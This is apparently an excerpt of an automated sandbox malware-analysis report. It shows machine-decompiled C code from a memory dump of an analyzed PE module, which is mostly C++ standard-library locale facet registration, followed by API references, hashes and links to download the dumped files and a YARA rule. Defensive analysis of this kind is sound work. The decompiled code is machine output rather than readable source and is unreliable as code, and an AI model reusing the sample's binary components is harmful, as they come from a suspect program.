									_push(_t902 - 0x10);
									__eflags = E6DD20E47(_t637, _t647, __edx, _t841, _t862) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t902 - 0x20);
										E6DD33D74(_t902 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t637, _t841, _t862, 0x14);
										E6DD16653(_t902 - 0x14, 0);
										_t863 =  *0x6ddd6de8; // 0x0
										 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
										 *(_t902 - 0x10) = _t863;
										_t319 = E6DCF161C(0x6ddd6d94);
										_t654 =  *((intOrPtr*)(_t902 + 8));
										_t842 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t319);
										__eflags = _t842;
										if(_t842 != 0) {
											L19:
											E6DD166BA(_t902 - 0x14);
											return E6DD30075(_t842);
										} else {
											__eflags = _t863;
											if(_t863 == 0) {
												_push( *((intOrPtr*)(_t902 + 8)));
												_push(_t902 - 0x10);
												__eflags = E6DD20EB7(_t637, _t654, __edx, _t842, _t863) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t902 - 0x20);
													E6DD33D74(_t902 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t637, _t842, _t863, 0x14);
													E6DD16653(_t902 - 0x14, 0);
													_t864 =  *0x6ddd6db8; // 0x0
													 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
													 *(_t902 - 0x10) = _t864;
													_t332 = E6DCF161C(0x6ddd6d6c);
													_t661 =  *((intOrPtr*)(_t902 + 8));
													_t843 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t332);
													__eflags = _t843;
													if(_t843 != 0) {
														L26:
														E6DD166BA(_t902 - 0x14);
														return E6DD30075(_t843);
													} else {
														__eflags = _t864;
														if(_t864 == 0) {
															_push( *((intOrPtr*)(_t902 + 8)));
															_push(_t902 - 0x10);
															__eflags = E6DD20F1F(_t637, _t661, _t838, _t843, _t864) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t902 - 0x20);
																E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t637, _t843, _t864, 0x14);
																E6DD16653(_t902 - 0x14, 0);
																_t865 =  *0x6ddd6dec; // 0x0
																 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																 *(_t902 - 0x10) = _t865;
																_t345 = E6DCF161C(0x6ddd6d98);
																_t668 =  *((intOrPtr*)(_t902 + 8));
																_t844 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t345);
																__eflags = _t844;
																if(_t844 != 0) {
																	L33:
																	E6DD166BA(_t902 - 0x14);
																	return E6DD30075(_t844);
																} else {
																	__eflags = _t865;
																	if(_t865 == 0) {
																		_push( *((intOrPtr*)(_t902 + 8)));
																		_push(_t902 - 0x10);
																		__eflags = E6DD20F87(_t637, _t668, _t838, _t844, _t865) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t902 - 0x20);
																			E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t637, _t844, _t865, 0x14);
																			E6DD16653(_t902 - 0x14, 0);
																			_t866 =  *0x6ddd6dbc; // 0x0
																			 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																			 *(_t902 - 0x10) = _t866;
																			_t358 = E6DCF161C(0x6ddd6d70);
																			_t675 =  *((intOrPtr*)(_t902 + 8));
																			_t845 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t358);
																			__eflags = _t845;
																			if(_t845 != 0) {
																				L40:
																				E6DD166BA(_t902 - 0x14);
																				return E6DD30075(_t845);
																			} else {
																				__eflags = _t866;
																				if(_t866 == 0) {
																					_push( *((intOrPtr*)(_t902 + 8)));
																					_push(_t902 - 0x10);
																					__eflags = E6DD20FEF(_t637, _t675, _t838, _t845, _t866) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t902 - 0x20);
																						E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t637, _t845, _t866, 0x14);
																						E6DD16653(_t902 - 0x14, 0);
																						_t867 =  *0x6ddd6df0; // 0x0
																						 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																						 *(_t902 - 0x10) = _t867;
																						_t371 = E6DCF161C(0x6ddd6d9c);
																						_t682 =  *((intOrPtr*)(_t902 + 8));
																						_t846 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t371);
																						__eflags = _t846;
																						if(_t846 != 0) {
																							L47:
																							E6DD166BA(_t902 - 0x14);
																							return E6DD30075(_t846);
																						} else {
																							__eflags = _t867;
																							if(_t867 == 0) {
																								_push( *((intOrPtr*)(_t902 + 8)));
																								_push(_t902 - 0x10);
																								__eflags = E6DD21057(_t637, _t682, _t838, _t846, _t867) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t902 - 0x20);
																									E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t637, _t846, _t867, 0x14);
																									E6DD16653(_t902 - 0x14, 0);
																									_t868 =  *0x6ddd6dc0; // 0x0
																									 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																									 *(_t902 - 0x10) = _t868;
																									_t384 = E6DCF161C(0x6ddd6d74);
																									_t689 =  *((intOrPtr*)(_t902 + 8));
																									_t847 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t384);
																									__eflags = _t847;
																									if(_t847 != 0) {
																										L54:
																										E6DD166BA(_t902 - 0x14);
																										return E6DD30075(_t847);
																									} else {
																										__eflags = _t868;
																										if(_t868 == 0) {
																											_push( *((intOrPtr*)(_t902 + 8)));
																											_push(_t902 - 0x10);
																											__eflags = E6DD210BF(_t637, _t689, _t838, _t847, _t868) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t902 - 0x20);
																												E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t637, _t847, _t868, 0x14);
																												E6DD16653(_t902 - 0x14, 0);
																												_t869 =  *0x6ddd6df8; // 0x0
																												 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																												 *(_t902 - 0x10) = _t869;
																												_t397 = E6DCF161C(0x6ddd6da4);
																												_t696 =  *((intOrPtr*)(_t902 + 8));
																												_t848 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t397);
																												__eflags = _t848;
																												if(_t848 != 0) {
																													L61:
																													E6DD166BA(_t902 - 0x14);
																													return E6DD30075(_t848);
																												} else {
																													__eflags = _t869;
																													if(_t869 == 0) {
																														_push( *((intOrPtr*)(_t902 + 8)));
																														_push(_t902 - 0x10);
																														__eflags = E6DD21127(_t637, _t696, _t838, _t848, _t869) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t902 - 0x20);
																															E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t637, _t848, _t869, 0x14);
																															E6DD16653(_t902 - 0x14, 0);
																															_t870 =  *0x6ddd6df4; // 0x0
																															 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																															 *(_t902 - 0x10) = _t870;
																															_t410 = E6DCF161C(0x6ddd6da0);
																															_t703 =  *((intOrPtr*)(_t902 + 8));
																															_t849 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t410);
																															__eflags = _t849;
																															if(_t849 != 0) {
																																L68:
																																E6DD166BA(_t902 - 0x14);
																																return E6DD30075(_t849);
																															} else {
																																__eflags = _t870;
																																if(_t870 == 0) {
																																	_push( *((intOrPtr*)(_t902 + 8)));
																																	_push(_t902 - 0x10);
																																	__eflags = E6DD211AB(_t637, _t703, _t838, _t849, _t870) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t902 - 0x20);
																																		E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t637, _t849, _t870, 0x14);
																																		E6DD16653(_t902 - 0x14, 0);
																																		_t871 =  *0x6ddd6dc8; // 0x0
																																		 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																		 *(_t902 - 0x10) = _t871;
																																		_t423 = E6DCF161C(0x6ddd6d7c);
																																		_t710 =  *((intOrPtr*)(_t902 + 8));
																																		_t850 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t423);
																																		__eflags = _t850;
																																		if(_t850 != 0) {
																																			L75:
																																			E6DD166BA(_t902 - 0x14);
																																			return E6DD30075(_t850);
																																		} else {
																																			__eflags = _t871;
																																			if(_t871 == 0) {
																																				_push( *((intOrPtr*)(_t902 + 8)));
																																				_push(_t902 - 0x10);
																																				__eflags = E6DD21230(_t637, _t710, _t838, _t850, _t871) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t902 - 0x20);
																																					E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t637, _t850, _t871, 0x14);
																																					E6DD16653(_t902 - 0x14, 0);
																																					_t872 =  *0x6ddd6dc4; // 0x0
																																					 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																					 *(_t902 - 0x10) = _t872;
																																					_t436 = E6DCF161C(0x6ddd6d78);
																																					_t717 =  *((intOrPtr*)(_t902 + 8));
																																					_t851 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t436);
																																					__eflags = _t851;
																																					if(_t851 != 0) {
																																						L82:
																																						E6DD166BA(_t902 - 0x14);
																																						return E6DD30075(_t851);
																																					} else {
																																						__eflags = _t872;
																																						if(_t872 == 0) {
																																							_push( *((intOrPtr*)(_t902 + 8)));
																																							_push(_t902 - 0x10);
																																							__eflags = E6DD212B4(_t637, _t717, _t838, _t851, _t872) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t902 - 0x20);
																																								E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t637, _t851, _t872, 0x14);
																																								E6DD16653(_t902 - 0x14, 0);
																																								_t873 =  *0x6ddd6dd8; // 0x0
																																								 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																								 *(_t902 - 0x10) = _t873;
																																								_t449 = E6DCF161C(0x6ddd6d84);
																																								_t724 =  *((intOrPtr*)(_t902 + 8));
																																								_t852 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t449);
																																								__eflags = _t852;
																																								if(_t852 != 0) {
																																									L89:
																																									E6DD166BA(_t902 - 0x14);
																																									return E6DD30075(_t852);
																																								} else {
																																									__eflags = _t873;
																																									if(_t873 == 0) {
																																										_push( *((intOrPtr*)(_t902 + 8)));
																																										_push(_t902 - 0x10);
																																										__eflags = E6DD21339(_t637, _t724, _t838, _t852, _t873) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t902 - 0x20);
																																											E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t637, _t852, _t873, 0x14);
																																											E6DD16653(_t902 - 0x14, 0);
																																											_t874 =  *0x6ddd6db0; // 0x0
																																											 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																											 *(_t902 - 0x10) = _t874;
																																											_t462 = E6DCF161C(0x6ddd6d64);
																																											_t731 =  *((intOrPtr*)(_t902 + 8));
																																											_t853 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t462);
																																											__eflags = _t853;
																																											if(_t853 != 0) {
																																												L96:
																																												E6DD166BA(_t902 - 0x14);
																																												return E6DD30075(_t853);
																																											} else {
																																												__eflags = _t874;
																																												if(_t874 == 0) {
																																													_push( *((intOrPtr*)(_t902 + 8)));
																																													_push(_t902 - 0x10);
																																													__eflags = E6DD213A1(_t637, _t731, _t838, _t853, _t874) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t902 - 0x20);
																																														E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t637, _t853, _t874, 0x14);
																																														E6DD16653(_t902 - 0x14, 0);
																																														_t875 =  *0x6ddd6ddc; // 0x0
																																														 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																														 *(_t902 - 0x10) = _t875;
																																														_t475 = E6DCF161C(0x6ddd6d88);
																																														_t738 =  *((intOrPtr*)(_t902 + 8));
																																														_t854 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t475);
																																														__eflags = _t854;
																																														if(_t854 != 0) {
																																															L103:
																																															E6DD166BA(_t902 - 0x14);
																																															return E6DD30075(_t854);
																																														} else {
																																															__eflags = _t875;
																																															if(_t875 == 0) {
																																																_push( *((intOrPtr*)(_t902 + 8)));
																																																_push(_t902 - 0x10);
																																																__eflags = E6DD21409(_t637, _t738, _t838, _t854, _t875) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t902 - 0x20);
																																																	E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t637, _t854, _t875, 0x14);
																																																	E6DD16653(_t902 - 0x14, 0);
																																																	_t876 =  *0x6ddd6de0; // 0x0
																																																	 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																																	 *(_t902 - 0x10) = _t876;
																																																	_t488 = E6DCF161C(0x6ddd6d8c);
																																																	_t745 =  *((intOrPtr*)(_t902 + 8));
																																																	_t855 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t488);
																																																	__eflags = _t855;
																																																	if(_t855 != 0) {
																																																		L110:
																																																		E6DD166BA(_t902 - 0x14);
																																																		return E6DD30075(_t855);
																																																	} else {
																																																		__eflags = _t876;
																																																		if(_t876 == 0) {
																																																			_push( *((intOrPtr*)(_t902 + 8)));
																																																			_push(_t902 - 0x10);
																																																			__eflags = E6DD21471(_t637, _t745, _t838, _t855, _t876) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t902 - 0x20);
																																																				E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t637, _t855, _t876, 0x14);
																																																				E6DD16653(_t902 - 0x14, 0);
																																																				_t877 =  *0x6ddd6dfc; // 0x0
																																																				 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																																				 *(_t902 - 0x10) = _t877;
																																																				_t501 = E6DCF161C(0x6ddd6da8);
																																																				_t752 =  *((intOrPtr*)(_t902 + 8));
																																																				_t856 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t501);
																																																				__eflags = _t856;
																																																				if(_t856 != 0) {
																																																					L117:
																																																					E6DD166BA(_t902 - 0x14);
																																																					return E6DD30075(_t856);
																																																				} else {
																																																					__eflags = _t877;
																																																					if(_t877 == 0) {
																																																						_push( *((intOrPtr*)(_t902 + 8)));
																																																						_push(_t902 - 0x10);
																																																						__eflags = E6DD214EC(_t637, _t752, _t838, _t856, _t877) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E6DCF1438(_t902 - 0x20);
																																																							E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd783cf, _t637, _t856, _t877, 0x14);
																																																							E6DD16653(_t902 - 0x14, 0);
																																																							_t878 =  *0x6ddd6dcc; // 0x0
																																																							 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																																							 *(_t902 - 0x10) = _t878;
																																																							_t514 = E6DCF161C(0x6ddd6d80);
																																																							_t759 =  *((intOrPtr*)(_t902 + 8));
																																																							_t857 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t514);
																																																							__eflags = _t857;
																																																							if(_t857 != 0) {
																																																								L124:
																																																								E6DD166BA(_t902 - 0x14);
																																																								return E6DD30075(_t857);
																																																							} else {
																																																								__eflags = _t878;
																																																								if(_t878 == 0) {
																																																									_push( *((intOrPtr*)(_t902 + 8)));
																																																									_push(_t902 - 0x10);
																																																									__eflags = E6DD21558(_t637, _t759, _t838, _t857, _t878) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E6DCF1438(_t902 - 0x20);
																																																										E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																																										asm("int3");
																																																										E6DD300AC(0x6dd783cf, _t637, _t857, _t878, 0x14);
																																																										E6DD16653(_t902 - 0x14, 0);
																																																										_t879 =  *0x6ddd6e00; // 0x0
																																																										 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																																										 *(_t902 - 0x10) = _t879;
																																																										_t527 = E6DCF161C(0x6ddd6dac);
																																																										_t766 =  *((intOrPtr*)(_t902 + 8));
																																																										_t858 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t527);
																																																										__eflags = _t858;
																																																										if(_t858 != 0) {
																																																											L131:
																																																											E6DD166BA(_t902 - 0x14);
																																																											return E6DD30075(_t858);
																																																										} else {
																																																											__eflags = _t879;
																																																											if(_t879 == 0) {
																																																												_push( *((intOrPtr*)(_t902 + 8)));
																																																												_push(_t902 - 0x10);
																																																												__eflags = E6DD215C4(_t637, _t766, _t838, _t858, _t879) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E6DCF1438(_t902 - 0x20);
																																																													E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																																													asm("int3");
																																																													E6DD300AC(0x6dd783cf, _t637, _t858, _t879, 0x14);
																																																													E6DD16653(_t902 - 0x14, 0);
																																																													_t880 =  *0x6ddd6dd0; // 0x0
																																																													 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
																																																													 *(_t902 - 0x10) = _t880;
																																																													_t540 = E6DCF161C(0x6ddd6d60);
																																																													_t773 =  *((intOrPtr*)(_t902 + 8));
																																																													_t859 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t540);
																																																													__eflags = _t859;
																																																													if(_t859 != 0) {
																																																														L138:
																																																														E6DD166BA(_t902 - 0x14);
																																																														return E6DD30075(_t859);
																																																													} else {
																																																														__eflags = _t880;
																																																														if(_t880 == 0) {
																																																															_push( *((intOrPtr*)(_t902 + 8)));
																																																															_push(_t902 - 0x10);
																																																															__eflags = E6DD2162A(_t637, _t773, _t838, _t859, _t880) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																_t777 = _t902 - 0x20;
																																																																E6DCF1438(_t777);
																																																																E6DD33D74(_t902 - 0x20, 0x6ddd3504);
																																																																asm("int3");
																																																																E6DD300AC(0x6dd7851f, _t637, _t859, _t880, 4);
																																																																_t881 = _t777;
																																																																 *(_t902 - 0x10) = _t881;
																																																																 *((intOrPtr*)(_t881 + 4)) =  *((intOrPtr*)(_t902 + 0xc));
																																																																_push( *((intOrPtr*)(_t902 + 0x14)));
																																																																_t287 = _t902 - 4;
																																																																 *_t287 =  *(_t902 - 4) & 0x00000000;
																																																																__eflags =  *_t287;
																																																																 *_t881 = 0x6dd7c0c4;
																																																																 *((char*)(_t881 + 0x28)) =  *((intOrPtr*)(_t902 + 0x10));
																																																																E6DD2542F(_t637, _t777, _t838, _t859, _t881,  *_t287);
																																																																return E6DD30075(_t881,  *((intOrPtr*)(_t902 + 8)));
																																																															} else {
																																																																_t859 =  *(_t902 - 0x10);
																																																																 *(_t902 - 0x10) = _t859;
																																																																 *(_t902 - 4) = 1;
																																																																E6DD16FD3(__eflags, _t859);
																																																																 *0x6dd7a26c();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t859 + 4))))();
																																																																 *0x6ddd6dd0 = _t859;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t859 = _t880;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t858 =  *(_t902 - 0x10);
																																																													 *(_t902 - 0x10) = _t858;
																																																													 *(_t902 - 4) = 1;
																																																													E6DD16FD3(__eflags, _t858);
																																																													 *0x6dd7a26c();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t858 + 4))))();
																																																													 *0x6ddd6e00 = _t858;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t858 = _t879;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t857 =  *(_t902 - 0x10);
																																																										 *(_t902 - 0x10) = _t857;
																																																										 *(_t902 - 4) = 1;
																																																										E6DD16FD3(__eflags, _t857);
																																																										 *0x6dd7a26c();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t857 + 4))))();
																																																										 *0x6ddd6dcc = _t857;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t857 = _t878;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t856 =  *(_t902 - 0x10);
																																																							 *(_t902 - 0x10) = _t856;
																																																							 *(_t902 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t856);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t856 + 4))))();
																																																							 *0x6ddd6dfc = _t856;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t856 = _t877;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t855 =  *(_t902 - 0x10);
																																																				 *(_t902 - 0x10) = _t855;
																																																				 *(_t902 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t855);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t855 + 4))))();
																																																				 *0x6ddd6de0 = _t855;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t855 = _t876;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t854 =  *(_t902 - 0x10);
																																																	 *(_t902 - 0x10) = _t854;
																																																	 *(_t902 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t854);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t854 + 4))))();
																																																	 *0x6ddd6ddc = _t854;
																																																	goto L103;
																																																}
																																															} else {
																																																_t854 = _t875;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t853 =  *(_t902 - 0x10);
																																														 *(_t902 - 0x10) = _t853;
																																														 *(_t902 - 4) = 1;
																																														E6DD16FD3(__eflags, _t853);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t853 + 4))))();
																																														 *0x6ddd6db0 = _t853;
																																														goto L96;
																																													}
																																												} else {
																																													_t853 = _t874;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t852 =  *(_t902 - 0x10);
																																											 *(_t902 - 0x10) = _t852;
																																											 *(_t902 - 4) = 1;
																																											E6DD16FD3(__eflags, _t852);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t852 + 4))))();
																																											 *0x6ddd6dd8 = _t852;
																																											goto L89;
																																										}
																																									} else {
																																										_t852 = _t873;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t851 =  *(_t902 - 0x10);
																																								 *(_t902 - 0x10) = _t851;
																																								 *(_t902 - 4) = 1;
																																								E6DD16FD3(__eflags, _t851);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t851 + 4))))();
																																								 *0x6ddd6dc4 = _t851;
																																								goto L82;
																																							}
																																						} else {
																																							_t851 = _t872;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t850 =  *(_t902 - 0x10);
																																					 *(_t902 - 0x10) = _t850;
																																					 *(_t902 - 4) = 1;
																																					E6DD16FD3(__eflags, _t850);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t850 + 4))))();
																																					 *0x6ddd6dc8 = _t850;
																																					goto L75;
																																				}
																																			} else {
																																				_t850 = _t871;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t849 =  *(_t902 - 0x10);
																																		 *(_t902 - 0x10) = _t849;
																																		 *(_t902 - 4) = 1;
																																		E6DD16FD3(__eflags, _t849);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t849 + 4))))();
																																		 *0x6ddd6df4 = _t849;
																																		goto L68;
																																	}
																																} else {
																																	_t849 = _t870;
																																	goto L68;
																																}
																															}
																														} else {
																															_t848 =  *(_t902 - 0x10);
																															 *(_t902 - 0x10) = _t848;
																															 *(_t902 - 4) = 1;
																															E6DD16FD3(__eflags, _t848);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t848 + 4))))();
																															 *0x6ddd6df8 = _t848;
																															goto L61;
																														}
																													} else {
																														_t848 = _t869;
																														goto L61;
																													}
																												}
																											} else {
																												_t847 =  *(_t902 - 0x10);
																												 *(_t902 - 0x10) = _t847;
																												 *(_t902 - 4) = 1;
																												E6DD16FD3(__eflags, _t847);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t847 + 4))))();
																												 *0x6ddd6dc0 = _t847;
																												goto L54;
																											}
																										} else {
																											_t847 = _t868;
																											goto L54;
																										}
																									}
																								} else {
																									_t846 =  *(_t902 - 0x10);
																									 *(_t902 - 0x10) = _t846;
																									 *(_t902 - 4) = 1;
																									E6DD16FD3(__eflags, _t846);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t846 + 4))))();
																									 *0x6ddd6df0 = _t846;
																									goto L47;
																								}
																							} else {
																								_t846 = _t867;
																								goto L47;
																							}
																						}
																					} else {
																						_t845 =  *(_t902 - 0x10);
																						 *(_t902 - 0x10) = _t845;
																						 *(_t902 - 4) = 1;
																						E6DD16FD3(__eflags, _t845);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t845 + 4))))();
																						 *0x6ddd6dbc = _t845;
																						goto L40;
																					}
																				} else {
																					_t845 = _t866;
																					goto L40;
																				}
																			}
																		} else {
																			_t844 =  *(_t902 - 0x10);
																			 *(_t902 - 0x10) = _t844;
																			 *(_t902 - 4) = 1;
																			E6DD16FD3(__eflags, _t844);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t844 + 4))))();
																			 *0x6ddd6dec = _t844;
																			goto L33;
																		}
																	} else {
																		_t844 = _t865;
																		goto L33;
																	}
																}
															} else {
																_t843 =  *(_t902 - 0x10);
																 *(_t902 - 0x10) = _t843;
																 *(_t902 - 4) = 1;
																E6DD16FD3(__eflags, _t843);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t843 + 4))))();
																 *0x6ddd6db8 = _t843;
																goto L26;
															}
														} else {
															_t843 = _t864;
															goto L26;
														}
													}
												} else {
													_t842 =  *(_t902 - 0x10);
													 *(_t902 - 0x10) = _t842;
													 *(_t902 - 4) = 1;
													E6DD16FD3(__eflags, _t842);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t842 + 4))))();
													 *0x6ddd6de8 = _t842;
													goto L19;
												}
											} else {
												_t842 = _t863;
												goto L19;
											}
										}
									} else {
										_t841 =  *(_t902 - 0x10);
										 *(_t902 - 0x10) = _t841;
										 *(_t902 - 4) = 1;
										E6DD16FD3(__eflags, _t841);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t841 + 4))))();
										 *0x6ddd6dd4 = _t841;
										goto L12;
									}
								} else {
									_t841 = _t862;
									goto L12;
								}
							}
						} else {
							_t840 =  *(_t902 - 0x10);
							 *(_t902 - 0x10) = _t840;
							 *(_t902 - 4) = 1;
							E6DD16FD3(__eflags, _t840);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t840 + 4))))();
							 *0x6ddd6db4 = _t840;
							goto L5;
						}
					} else {
						_t840 = _t861;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F03E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F048
int.LIBCPMT ref: 6DD1F05F

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

collate.LIBCPMT ref: 6DD1F082
std::_Facet_Register.LIBCPMT ref: 6DD1F099
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F0B9
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F0D7

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
String ID:
API String ID: 2363045490-0
Opcode ID: b063d864db00c2237651682c6945c167e8ec753e788bb62741e8b61cbf939670
Instruction ID: 7dfaa3e060f11bf218f519a589eb82868a3ca37e4a1ad01b8e91c82b22ba2d01
Opcode Fuzzy Hash: b063d864db00c2237651682c6945c167e8ec753e788bb62741e8b61cbf939670
Instruction Fuzzy Hash: E5119EB694C52A8BCF01FBA8DC40AFDB775EF95324F160049F610A7294DB75A9018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A2F1, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 70%

